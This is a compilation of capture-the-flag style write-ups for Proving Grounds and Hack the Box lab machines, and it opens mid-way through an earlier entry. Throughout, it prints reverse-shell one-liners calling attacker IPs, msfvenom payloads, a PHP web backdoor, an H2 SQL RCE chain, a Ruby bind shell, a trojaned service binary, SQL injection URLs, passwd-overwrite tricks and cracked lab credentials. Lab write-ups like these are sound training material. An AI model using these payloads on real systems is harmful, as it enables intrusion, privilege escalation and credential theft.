`$Resp = Invoke-WebRequest 'http://nickel/?whoami' -UseBasicParsing`
This executes `whoami`, and we can see the output below.
We have RCE as SYSTEM. However, any outgoing traffic is blocked, so we cannot spawn a second reverse shell as SYSTEM. Let's do the next best thing - adding ourselves to the `Administrators` group.
`localgroup Administrators ariah /add`
If we check the Administrators group again (`net localgroup Administrators`), we can see that our user `ariah` was added.
Now, we can RDP into the machine and run the command prompt as Administrator.
# WebCal
Writeup for WebCal from Offensive Security Proving Grounds (PG)
## Information Gathering
### Service Enumeration
`nmapAutomator.sh -H 192.168.66.37 -t full`
`nmapAutomator.sh -H 192.168.66.37 -t vulns`
### HTTP
`gobuster dir -u http://192.168.66.37/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50`
* /resources
* /send
* /webcalendar
We find a login page at `http://192.168.66.37/webcalendar/login.php`.
The version is v1.2.3
## Exploit
WebCalendar <= v1.2.4 suffers from an RCE vulnerability:
Simply running the exploit above gives us RCE. `php 18775.php 192.168.66.37 /webcalendar/`
Once here, we can use a Python payload to catch a reverse shell on our Kali machine.
`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.66",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`
On our Kali machine:
## Privilege Escalation
### MySQL
The `settings.php` file looks interesting.
Upon further inspection, the MySQL database credentials are in this file.
Furthermore, we now have access to port 3306, which is the MySQL port.
```
www-data@ucal:/home$ mysql --user=wc --password
Enter password: edjfbxMT7KKo2PPC
```
### Kernel Exploit
The kernel version 3.0.0 is vulnerable to an exploit called Mempodipper.
Compile: `gcc mempodipper.c -o mempodipper`
Transfer: `wget "192.168.49.66/mempodipper" -O mempodipper`
# Authby
Writeup for Authby from Offensive Security Proving Grounds (PG)
## Service Enumeration
`nmapAutomator.sh -H 192.168.85.46 -t full`
`nmapAutomator.sh -H 192.168.85.46 -t vulns`
### FTP
Anonymous login allowed.
While we cannot access these files, we can see that there are some account names.
Using the account `admin:admin`, we get access to some other files.
The `.htaccess` and `.htpasswd` files are leaked.
.htaccess
```
AuthName "Qui e nuce nuculeum esse volt, frangit nucem!"
AuthType Basic
AuthUserFile c:\\wamp\www\.htpasswd
Require valid-user
```
.htpasswd
```
offsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0
```
Passing the `.htpasswd` hash into John the Ripper, we find the credentials to authenticate into the HTTP server.
### RDP
### Nonstandard Ports
### HTTP
Using the previously found credentials (`offsec:elite`), we can authenticate into the application.
### Subdirectory Enumeration
`gobuster dir -u http://192.168.85.46:242/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50 -U offsec -P elite`
`gobuster dir -u http://192.168.85.46:242/phpmyadmin -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50 -U offsec -P elite -s 200,204,301,302,307,401`
## Exploitation
Using the PHP backdoor from `/usr/share/webshells/php/simple-backdoor.php`, we can upload this backdoor through the `admin` FTP account to the web root. Then, we can visit the `simple-backdoor.php` and use the `cmd=` parameter to achieve RCE.
Copy `nc.exe` through SMB:
`http://192.168.85.46:242/simple-backdoor.php?cmd=copy \\192.168.49.85\ROPNOP\netcat\nc.exe .`
Trigger a reverse shell:
`http://192.168.85.46:242/simple-backdoor.php?cmd=nc.exe -e cmd.exe 192.168.49.85 443`
On our listening machine, we get a reverse shell.
## Privilege Escalation
First, we know that `SeImpersonatePrivilege` is enabled.
We can perform privilege escalation using Juicy Potato.
However, there are two challenges.
1. This is an x86 system, so we need an x86 Juicy Potato executable. I used the one from here:
2. The default CLSID doesn't work. Juicy Potato will return `COM -> recv failed with error: 10038`.
`systeminfo` shows that this is Windows Server 2008.
We can use one of the BITS CSLIDs from here: . I used `{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}`.
Now, we can use the `nc.exe` we transferred previously to get another reverse shell, this time with SYSTEM privileges.
`juicy.potato.x86.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\wamp\www\nc.exe -e cmd.exe 192.168.49.85 443" -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}`
On our listening machine:
# Pelican
Writeup for Pelican from Offensive Security Proving Grounds (PG)
## Service Enumeration
`nmapAutomator.sh -H 192.168.237.98 -t full`
`nmapAutomator.sh -H 192.168.237.98 -t vulns`
## Exploitation
Going to port 8081 redirects us to this page at port 8080.
This is an Exhibitor Web UI. We can see from the top right corner of the page that the version is 1.0, which is vulnerable to an OS command injection vulnerability: .
In the Config tab, the `java.env script` field can be used to execute arbitrary commands. For instance, we can trigger a reverse shell with `$(bash -i >& /dev/tcp/192.168.49.237/4242 0>&1)`
Catching the reverse shell:
Proof:
## Privilege Escalation
From the LinPEAS output, we find that `root` runs a binary `/usr/bin/password-store`. We don't have permissions to run this, but it looks interesting.
Now, we find that we can run `gcore` as root with no password.
Reference:
`gcore` creates a core dump of a running process. A core file or core dump is a file that records the memory image of a running process and its process status.
Using `ps -ef | grep password-store`, we find that the process ID is 493. Then, we can run `gcore` as `sudo` to create a core dump of the process.
In the strings output (`strings core.493`), we find something interesting.
Using this root password, we successfully authenticate as root.
# Jacko
Writeup for Jacko from Offensive Security Proving Grounds (PG)
## Information Gathering
### Service Enumeration
`nmapAutomator.sh -H 192.168.134.66 -t full`
`nmapAutomator.sh -H 192.168.134.66 -t vulns`
### SMB
Null sessions not allowed
### HTTP
Port 80:
Port 8082:
The default credentials `sa:` worked. Here we can run SQL queries.
`SHOW DATABASES` shows us that there is a `PUBLIC` schema.
However, further enumeration found nothing much interesting in the database.
We see the version of the product (H2 1.4.199). This version suffers from an RCE vulnerability.
Reference:
If we execute the following SQL statements:
```
-- Write native library
SELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', CHAR(0x4d),CHAR(0x5a),CHAR(0x90), ... ,CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),'"'), 'ISO-8859-1', '', '', '', '', '');
-- Load native library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');
-- Evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\Z").next()');
```
we can achieve RCE.
With this, we can run the `systeminfo` command. This shows us that the architecture is x64.
`msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.49.103 LPORT=445 -f exe > reverse.exe`
**Note that ports like 4242, 4444, etc. did not work. I used port 445 since I realised that I was able to copy files via SMB, so it likely won't be blocked by the firewall.**
Copy the payload to the victim machine via SMB:
```sql
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("cmd.exe /c copy \\\\192.168.49.103\\ROPNOP\\reverse.exe c:\\users\\tony\\reverse.exe").getInputStream()).useDelimiter("\\Z").next()');
```
Running the payload:
```sql
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("c:\\users\\tony\\reverse.exe").getInputStream()).useDelimiter("\\Z").next()');
```
Receiving the reverse shell:
### Privilege Escalation
#### SeImpersonatePrivilege
`c:\windows\system32\whoami.exe /priv`
We see that `SeImpersonatePrivilege` is enabled.
After we locate the location of `powershell.exe`, we can run powershell.
Using the `GetCLSID.ps1` script from , we can attempt to get CLSIDs.
`IEX (New-Object Net.WebClient).DownloadString('http://192.168.49.103/GetCLSID.ps1')`
This does not work because we cannot find any CLSIDs.
#### Windows OS Exploits
Transfer WinPEAS:
`$WebClient = New-Object System.Net.WebClient; $WebClient.DownloadFile("http://192.168.49.103/winPEASx86.exe","C:\users\tony\winPEASx86.exe")`
Run WinPEAS:
`c:\users\tony\winpeasx86.exe`
We could try these as a last resort.
#### Vulnerable Apps
**Took quite a while to figure this out. Always check for vulnerable apps if WinPEAS does not find anything useful!**
We can check the PaperStream IP version, it is 1.42
This version is vulnerable to a privilege escalation vulnerability.
PaperStream IP exploit:
`msfvenom -p windows/shell_reverse_tcp -f dll -o shell.dll LHOST=192.168.49.103 LPORT=445`
**I initially made the mistake of using an `x64` payload. Note that the application is found under `Program Files (x86)`, so it cannot use an `x64` DLL.**
`$WebClient = New-Object System.Net.WebClient; $WebClient.DownloadFile("http://192.168.49.103/shell.dll","C:\users\tony\shell.dll")`
`$WebClient = New-Object System.Net.WebClient; $WebClient.DownloadFile("http://192.168.49.103/49382.ps1","C:\users\tony\49382.ps1")`
Run the exploit: `C:\users\tony\49382.ps1`
Once the exploit is triggered, we obtain our reverse shell.
The exploit works and we received a SYSTEM shell.
# Medjed
Writeup for Medjed from Offensive Security Proving Grounds (PG)
## Information Gathering
### Service Enumeration
`nmapAutomator.sh -H 192.168.237.127 -t full`
`nmapAutomator.sh -H 192.168.237.127 -t vulns`
### FTP
Anonymous sessions are allowed. Recursively download the entire directory:
`wget -r ftp://anonymous@192.168.237.127:30021`
Seems to be the default ruby on rails installation.
### HTTP
On port 3303, we find a web application with the profiles of the team. We can try to use their names as usernames to login.
There is a password reset feature.
When using username `christopher`, we get "The password reminder doesn't match the records", which is different from the other users - "The user does not exist".
Hence, we can confirm that `christopher` is a valid user.
Tried:
* SQL injection for password reminder (failed)
I then realised that the users page is on the `/users` path. By trying `http://192.168.237.127:33033/users/christopher`, we get an error traceback.
Now that we know that traceback is shown, we can try to go to an invalid path to see the routes available.
`/users` takes 4 request methods:
Tried:
* all 4 allowed request methods (failed - authentication)
There is another interesting path, `/slug`.
When fuzzing the input, I found that a single quote causes an error.
This showed the source code for the construction of an SQL query.
```ruby
sql = "SELECT username FROM users WHERE username = '" + params[:URL].to_s + "'"
```
This is a classic SQL injection vulnerability. However, the difference here is that no matter whether the query evaluates to True or False, we get the same result, i.e. we don't get any feedback on the output. However, the **MySQL error gets reflected**, so this is an **error-based injection**.
## Exploitation
### Option 1 - Time Based Boolean Blind
```sql
SELECT username FROM users WHERE username = '' UNION SELECT IF(1=1, SLEEP(5), null)-- -
```
`http://192.168.237.127:33033/slug?URL=%27%20UNION%20SELECT%20IF(1=2,%20SLEEP(5),%20null)--%20-`
The `IF` conditional will make the server sleep for 5 seconds if the condition is True, or respond immediately otherwise.
### Option 2 - Error Based
If we do something like
```sql
SELECT username FROM users WHERE username = '' AND 1= (SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM users LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)-- -
```
The `SELECT username FROM users LIMIT 0,1` output gets reflected in the MySQL error.
`http://192.168.237.127:33033/slug?URL=%27%20AND%201=%20(SELECT%201%20FROM(SELECT%20COUNT(*),concat(0x3a,(SELECT%20username%20FROM%users%20LIMIT%200,1),FLOOR(rand(0)*2))x%20FROM%20information_schema.TABLES%20GROUP%20BY%20x)a)--%20-`
In this case, we can see that `evren.eagan` is the first username.
Replacing the inner query with `SELECT reminder FROM USERS LIMIT 0,1`, we see the reminder, `4qpdR87QYjRbog`.
{% embed url="" %}
With this, we can go back to the password reset page and successfully reset the password.
Now that we login to a valid user, we gain access to the edit feature.
### Web File Server (WFS)
There is another HTTPS service running at 44330. Here, we can upload arbitrary files.
We can then upload a modified version of the `users_controller.rb`, which handles HTTP requests related to the `/user` path.
I edited the `PATCH/PUT` handler to include this bind shell payload:
```ruby
class UsersController < ApplicationController
include BCrypt
before_action :authorize, only: [:new, :create, :edit, :update, :destroy]
before_action :set_user, only: [:show, :edit, :update, :destroy]
...
# PATCH/PUT /users/1
# PATCH/PUT /users/1.json
def update
require 'socket'
require 'open3'
#The number over loop is the port number the shell listens on.
Socket.tcp_server_loop(5555) do |sock, client_addrinfo|
begin
while command = sock.gets
Open3.popen2e("#{command}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
end
end
rescue
break if command =~ /IQuit!/
sock.write "Command or file not found.\n"
sock.write "Type IQuit! to kill the shell forever on the server.\n"
sock.write "Use ^] or ctl+C (telnet or nc) to exit and keep it open.\n"
retry
ensure
sock.close
end
end
...
end
```
After uploading the modified `users_controller.rb` and submitting the "Update User" form, we can then connect to the bind shell.
To get a more stable and interactive shell, we can transfer `nc.exe` and run it.
Copy netcat over SMB: `copy \\192.168.49.237\ROPNOP\nc.exe .`
Create another reverse shell: `nc -e cmd.exe 192.168.49.237 139`
## Privilege Escalation
In the WinPEAS output, we find an interesting AutoRun executable, `bdctl.exe`. This is an executable from the BarracudaDrive program.
Looking in the `C:\bd` directory, we find a `readme.txt` which shows the changelog.
It appears that the version of BarracudaDrive is 6.5, since the changelog stops there.
This version is vulnerable to a local privesc vulnerability:
Create `addAdmin.c`:
```c
#include
#include
int main(void){
system("C:\\Sites\\userpro\\nc.exe 192.168.49.237 139 -e cmd.exe");
WinExec("C:\\bd\\bd.service.exe", 0);
return 0;
}
```
On reboot, this will spawn a new reverse shell as SYSTEM.
Cross-compile for Windows: `i686-w64-mingw32-gcc addAdmin.c -o bd.exe`
Move the existing `bd.exe`: `move bd.exe bd.service.exe`
Copy the new malicious `bd.exe`: `copy \\192.168.49.237\ROPNOP\bd.exe .`
Now restart the system: `shutdown /r`. We should be able to catch a shell as SYSTEM:
# XposedAPI
Writeup for XposedAPI from Offensive Security Proving Grounds (PG)
## Information Gathering
### Service Enumeration
`nmapAutomator.sh -H 192.168.134.134 -t full`
`nmapAutomator.sh -H 192.168.134.134 -t vulns`
### Port 13337
Seems like a custom-built API.
`/update` API seems interesting.
Generate ELF: `msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.134 LPORT=4242 -f elf > reverse.elf`
It appears we need to either find a valid username, or perform SQL injection.
Another interesting endpoint is `/logs`. The WAF denies us access to this host. Likely, the WAF is trying to restrict access to localhost.
### X-Forwarded-For Header
"The X-Forwarded-For (XFF) header is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer. When traffic is intercepted between clients and servers, server access logs contain the IP address of the proxy or load balancer only. To see the original IP address of the client, the X-Forwarded-For request header is used."
## Exploit
It appears that the WAF is performing a check on the X-Forwarded-For header. This can be easily manipulated on the client side.
Now, we are told to use `file=/path/to/log/file`. This appears to be a LFI vulnerability.
Here, we get the username `clumsyadmin` (the only 'human' username). Now we can make the server download and execute the malicious ELF file we generated earlier using msfvenom.
Restart the app, and we have a reverse shell.
## Privilege Escalation
We can use LinPEAS to enumerate.
Very quickly, we can see that the SUID bit is set for `wget`.
Reference:
We can abuse the SUID privileges to write arbitrary files.
After copying the `passwd` file to our attacking machine, add our own root user:
```bash
echo "root2:bWBoOyE1sFaiQ:0:0:root:/root:/bin/bash" >> passwd
```
Note that this hash corresponds to our custom password, `mypass`.
```bash
$ openssl passwd mypass
bWBoOyE1sFaiQ
```
Then we can overwrite the existing `passwd` file: `wget http://192.168.49.134/passwd -O /etc/passwd`
Finally, we can SSH as root2.
# Try Harder
Writeups for Get to Work machines from Proving Grounds by Offensive Security.
[Offensive Security Proving Grounds (PG) ](https://www.offensive-security.com/labs/)are a modern network for practicing penetration testing skills on exploitable, real-world vectors.
| Machine | OS | Description |
| ------------------------------------------------ | ------- | ------------------------------------------------ |
| [Meathead](/proving-grounds/try-harder/meathead) | Windows | Teaches basic pillaging and chaining principals. |
# Meathead
Writeup for Meathead from Offensive Security Proving Grounds (PG)
## Information Gathering
### Service Enumeration
`nmapAutomator.sh -H 192.168.75.70 -t full`
`nmapAutomator.sh -H 192.168.75.70 -t vulns`
### HTTP (80)
Tried:
* SQL Injection
### SMB (139/445)
Tried:
* Null sessions
### FTP (1221)
* Without using passive mode, hangs on `150 Opening ASCII mode data connection`
* Using the `-p` parameter to force passive mode: `ftp -p 192.168.75.70 1221`
The `MSSQL_BAK.rar` looks interesting. It is password protected.
Extract the RAR hash: `rar2john MSSQL_BAK.rar > crackme`
Crack the hash: `john --wordlist=/usr/share/wordlists/rockyou.txt crackme`
We find the password `letmeinplease`.
Unrar the file: `unrar e MSSQL_BAK.rar`
Inside the archive is a text file.
The credentials are `sa:EjectFrailtyThorn425`.
### MSSQL (1435)
Using the previously found credentials, login using `mssqlclient.py`.
`mssqlclient.py -p 1435 sa:EjectFrailtyThorn425@192.168.217.70`
## Exploitation
Once in, we can enable code execution using the `enable_xp_cmdshell` command.
Then, execute a command: `xp_cmdshell whoami /all`
Transfer `nc.exe` to a writable directory:
`xp_cmdshell copy \\192.168.49.217\ROPNOP\nc.exe c:\Users\Public\nc.exe`
Then, trigger a reverse shell (try a few common ports, port 80 works in this case):
`xp_cmdshell c:\Users\Public\nc.exe -e cmd.exe 192.168.49.217 80`
Unfortunately we don't have access to `local.txt` just yet.
Using `reg query HKLM /f pass /t REG_SZ /s`, we find an interesting password.
Using the credentials `jane:TwilightAirmailMuck234`, we can RDP in as Jane.
## Privilege Escalation
On Desktop we find a Platronics Hub app (version 3.13.2)
This version suffers from a local privilege escalation vulnerability: `https://www.exploit-db.com/exploits/47845`
Create a `MajorUpgrade.config` with the following contents:
```
jane|advertise|C:\Windows\System32\cmd.exe
```
Upon saving this file, we get a SYSTEM shell.
# Easy
Writeups for Easy machines from Hack the Box.
[Hack The Box](https://www.hackthebox.eu/) is a massive, online cyber security training platform, allowing individuals, companies, universities and all kinds of organizations around the world to level up their hacking skills.
| Machine | OS |
| ----------------------------------------------- | ----- |
| [ScriptKiddie](/hack-the-box/easy/scriptkiddie) | Linux |
| [Delivery](/hack-the-box/easy/delivery) | Linux |
| [Laboratory](/hack-the-box/easy/laboratory) | Linux |
| [Academy](/hack-the-box/easy/academy) | Linux |
| [Sense](/hack-the-box/easy/sense) | Linux |
# ScriptKiddie
Writeup for ScriptKiddie from Hack the Box
`nmap -sV 10.10.10.226`
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## Foothold
There is an option to generate an MSFVenom payload, using a template file.
Searchsploit for any relevant exploits:
POC code for APK template file command injection vulnerability:
Upload the produced APK file as the template.
'Upgrade' the shell: `python3 -c 'import pty;pty.spawn("/bin/bash")'`
## Privesc
Exploring the folders a bit more, there is a `pwn` user, and there is a `scanlosers` script.
Note the `cut -d' ' -f3-'`: refer to the manual page
This will split the string based on the 'space' delimiter, and keep everything from the 3rd field onwards. By adding two spaces to the front, we are splitting the string into: `"" "" ";/bin/bash -c ..."` so that the command is retained.
`echo " ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.47/1234 0>&1' #" >> /home/kid/logs/hackers`
Set up a netcat listener again. Now, we got a shell as the `pwn` user, with higher privileges.
Check the available sudo commands as the pwn user: `sudo -l`
We are able to run `msfconsole` as root!
Since msfconsole is able to execute standard commands as well, simply doing `sudo msfconsole` will give us a shell as root.
# Delivery
Writeup for Delivery from Hack the Box
## Recon
`nmap -sV -T4 -p- 10.10.10.222`
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http nginx 1.14.2
```
From the website, there are two links:
* `http://delivery.htb:8065/`
* `http://helpdesk.delivery.htb/`
Add the following to the `/etc/hosts` file:
```
10.10.10.222 delivery.htb
10.10.10.222 helpdesk.delivery.htb
```
Note the information here:
We don't have a `@delivery.htb` account, so we won't be able to access the MatterMost server just yet.
### helpdesk.delivery.htb
When submitting a ticket, the system is vulnerable to XSS.
#### 1st Try: Cookie Stealing
```javascript
```
Unfortunately this doesn't work, anything with `` is removed.
#### 2nd Try: Look Closer
Note that after creating a ticket, it says:
**"If you want to add more information... just email ..."**
So does this email simply forward everything it receives to the ticket?
### delivery.htb:8065
This is a MatterMost server. I went ahead and created an account with <7317917@delivery.htb> as the email address. This was previously not possible because
1. We needed a `@delivery.htb` email and
2. We needed email verification
The email does indeed forward everything to the ticket content:
By navigating to the link in the email, we can verify our account.
And we can log in to view some sensitive information:
## Foothold
We can use the `maildeliverer:Youve_G0t_Mail!` credential combination to authenticate and obtain SSH access to the server.
### User Flag
Right after we authenticate in, we are greeted by the `user.txt` flag.
## Privesc
After a bit of exploring:
`cat /opt/mattermost/config/config.json`
Under the `SqlSettings`, the `mmuser:Crack_The_MM_Admin_PW` is used for the `mysql` database credentials. We can login to the 'local' MariaDB server:
`mysql -u mmuser -p` (`-u USERNAME -p`, then enter the password when prompted)
### MariaDB
`SHOW DATABASES;`
Use the `mattermost` database: `USE mattermost;`
Dump `mattermost.Users` table: `SELECT * FROM Users;`
I copied this into a text file.
Compile the password hashes into a `users.hash` file:
```
$2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK
$2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO
$2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq
$2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm
```
Remember the message in the MatterMost channel earlier? Most of these passwords should be variations of "PleaseSubscribe!"
We were also hinted to use hashcat rules.
Result of Googling:
Rules file: `cp /usr/share/hashcat/rules/best64.rule rules`
Running hashcat on my host MacOS: `hashcat -m 3200 users.hash wordlist -r rules` (since hashcat requires a *GPU*)
Show cracked hash: `hashcat -m 3200 users.hash --show`
```
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21
```
Cross-checking with the `users.hash` file, the `root` password is `PleaseSubscribe!21`.
### Root Flag
From the `maildeliverer` bash shell: `su`, then use the `PleaseSubscribe!21` password.
# Laboratory
Writeup for Laboratory from Hack the Box
## Recon
`nmap -sV -T4 -p- 10.10.10.216`
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Accessing the IP address via HTTP returns a 302 status code, and redirects to `https://laboratory.htb/`
Add the following line to the `/etc/hosts` file:
```
10.10.10.216 laboratory.htb
```
Now the page displays properly.
If we scroll down, we can see that Dexter is listed as the CEO of the company.
Looking at the source code:
Navlinks commented out. However, `elements.html` and `generic.html` do not exist.
`gobuster dir -u https://laboratory.htb/ -w /usr/share/wordlists/dirb/common.txt -k`
```
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/assets (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)
```
When I first ran gobuster without the `-w` flag, I got this error:
```
Error: error on running goubster: unable to connect to https://laboratory.htb/: invalid certificate: x509: certificate is valid for git.laboratory.htb, not laboratory.htb
```
So I added the following to `/etc/hosts`:
```
10.10.10.216 git.laboratory.htb
```
and accessed `git.laboratory.htb`.
## Foothold
`searchsploit gitlab`
```
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
GitLab - 'impersonate' Feature Privilege Escalation | ruby/webapps/40236.txt
GitLab 11.4.7 - RCE (Authenticated) | ruby/webapps/49334.py
Gitlab 11.4.7 - Remote Code Execution | ruby/webapps/49257.py
GitLab 11.4.7 - Remote Code Execution (Authenticated) | ruby/webapps/49263.py
GitLab 12.9.0 - Arbitrary File Read | ruby/webapps/48431.txt
Gitlab 12.9.0 - Arbitrary File Read (Authenticated) | ruby/webapps/49076.py
Gitlab 6.0 - Persistent Cross-Site Scripting | php/webapps/30329.sh
Gitlab-shell - Code Execution (Metasploit) | linux/remote/34362.rb
Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting | java/webapps/47927.txt
NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution | json/webapps/47420.txt
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
```
I went ahead and created an account. Note: to overcome the email domain validation, use `@laboratory.htb` for the email domain.
### First Try: Gitlab 12.9.0 - Arbitrary File Read
Found an exploit code here:
(for Gitlab 12.9.0 - Arbitrary File Read)
`python3 gitlab_exploit.py https://git.laboratory.htb me zeyu2001`
We can read the `/etc/passwd` file:
### Second Try: Gitlab 11.4.7 - Remote Code Execution
Didn't work with any of the open-source Python scripts. If this was the actual OSCP, I would have used my Metasploit 'budget' on this machine.
Using Metasploit with the above options, I was able to spawn a reverse shell.
'Upgrade' the shell: `python3 -c 'import pty;pty.spawn("/bin/bash")'`
## User Flag
Now that we gained a shell as the `git` user, we are inside the `gitlab-rails` CLI. In order to gain access to Dexter's account, we need to reset the password, like this:
Since Dexter is likely the 'main user', I guessed that his user ID is 1.
Full commands to reset the password via Rails Console:
```
gitlab-rails console -e production
user = User.find(1)
user.password = 'mynewpass'
user.password_confirmation = 'mynewpass'
user.save!
exit()
```
Using the `dexter:mynewpass` combination, we can login to the GitLab web GUI.
I then tried to SSH into Dexter's account, but a public/private key pair is required.
From the SecureDocker repo, we can navigate to `securedocker/dexter/.ssh/id_rsa` to get the private key. Save this in a file `id_rsa` on the attacking machine. Note that the public key for this privste key is in the `securedocker/dexter/.ssh/authorized_keys` file.
SSH in: `ssh -i id_rsa dexter@git.laboratory.htb`. We can now get the `user.txt`:
## Root Flag
Run LinPEAS (start Python Simple HTTP Server on attacking machine, then do `curl "http://10.10.14.16/linpeas.sh" | sh` in SSH)
### Try 1: containerd / runc
Sadly, neither worked.
### Try 2: SUID Files
In the list of SUID files (from the LinPEAS output), the `/usr/local/bin/docker-security` binary looked out of place.
Strings wasn't installed on the target machine, so I downloaded the binary into my Kali machine: `scp -i id_rsa dexter@laboratory.htb:/usr/local/bin/docker-security .`
### PATH Variable Manipulation
`strings docker-security`
Good, the binary uses *relative* paths for `setuid`, etc. This allows us to create our own `setuid` binary, and manipuate the PATH variable so that our own binary is executed instead.
#### Standard Steps
* Change working directory to `/tmp`: `cd /tmp`
* Copy the `/bin/sh` shell and call it `setuid`: `echo /bin/sh > setuid`
* Give the correct permissions: `chmod 777 setuid`
* Put its location, the `/tmp` directory, in the PATH: `export PATH=/tmp:$PATH`
```bash
dexter@laboratory:~$ cd /tmp
dexter@laboratory:/tmp$ echo /bin/sh > setuid
dexter@laboratory:/tmp$ chmod 777 setuid
dexter@laboratory:/tmp$ export PATH=/tmp:$PATH
dexter@laboratory:/tmp$ /usr/local/bin/docker-security
```
Since the SUID flag is set, the `/bin/sh` is run as `root`, which is the *owner* of the file. Here, we created a fake `setuid` binary and added the `/tmp` directory to the PATH. When the `docker-security` binary runs `setuid`, our fake binary is run, spawning a bash shell as root.
### Getting the Root Flag
# Academy
Writeup for Academy from Hack the Box
`nmap -sV -T4 -p- 10.10.10.215`
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
33060/tcp open mysqlx?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## Foothold
Navigating to redirects to an unknown host .
Add an entry to the hosts file at `/etc/hosts`, to resolve the `academy.htb` domain to 10.10.10.215.
Now it works and we can see the website properly.
`gobuster dir -u http://academy.htb/ -w /usr/share/dirb/wordlists/common.txt`
There was a registration page and a login page, so I went ahead and registered with credentials test:test.
**Always look at what you are POST-ing!**
When registering, there is a `roleid` parameter.
So, let's try to create *another* account, changing the roleid from 0 to 1.
This gives us admin privileges. From the previously found `/admin.php`, we can login:
Crucial information! Let's add `dev-staging-01.academy.htb` to our `/etc/hosts` file.
The site:
The site uses Laravel. API key: `dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=`
There is a MySQL username and password combination. However, trying to authenticate remotely into the MySQL server failed.
Googling will tell us several CVEs associated with Laravel.
Found this neat tool for exploiting CVE-2018-15133:
CVE-2018-15133 is an RCE vulnerability that requires us to know the APP\_NAME (API token). From the information above, we have found the APP\_NAME!
Run the exploit:
`python3 pwn_laravel.py http://dev-staging-01.academy.htb dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= --interactive`
Note that we should be using `dev-staging-01.academy.htb` as the target URI because the Laravel is running on this domain.
Get some basic information:
## Privilege Escalation
The `.env` file stores the environment variables.
Find the regular users (those with `/home/`):
We want to enumerate these users to check if any of them used the same password for their user account as the mysql account (password spraying attack)
`hydra -L users.txt -p mySup3rP4s5w0rd\!\! -v ssh://10.10.10.215`
* Note that `!!` is a feature in Bash which re-executes the previous command.
* This is why the `!!` needs to be escaped, i.e. `\!\!`
`ssh 10.10.10.215 -l cry0l1t3` and use the `mySup3rP4s5w0rd!!` password.
**User Flag:**
Upgrade to tty shell: `python3 -c 'import pty;pty.spawn("/bin/bash")'`
A handy thing to check for is user groups. I don't have sufficient privileges, but maybe someone else does? So, egre55 is in the same group `adm` as us, but he is also in other groups such as `sudo`.
I tried `grep` to find credentials for egree55 to no avail.
### /var/log/audit
The audit logs contain a field
`comm=""`
The comm field records the command-line name of the command that was used to invoke the analyzed process. In this case, the cat command was used to trigger this Audit event.
So we can look for `comm="su"` in the audit logs.
`grep -r 'comm="su"' /var/log/audit`
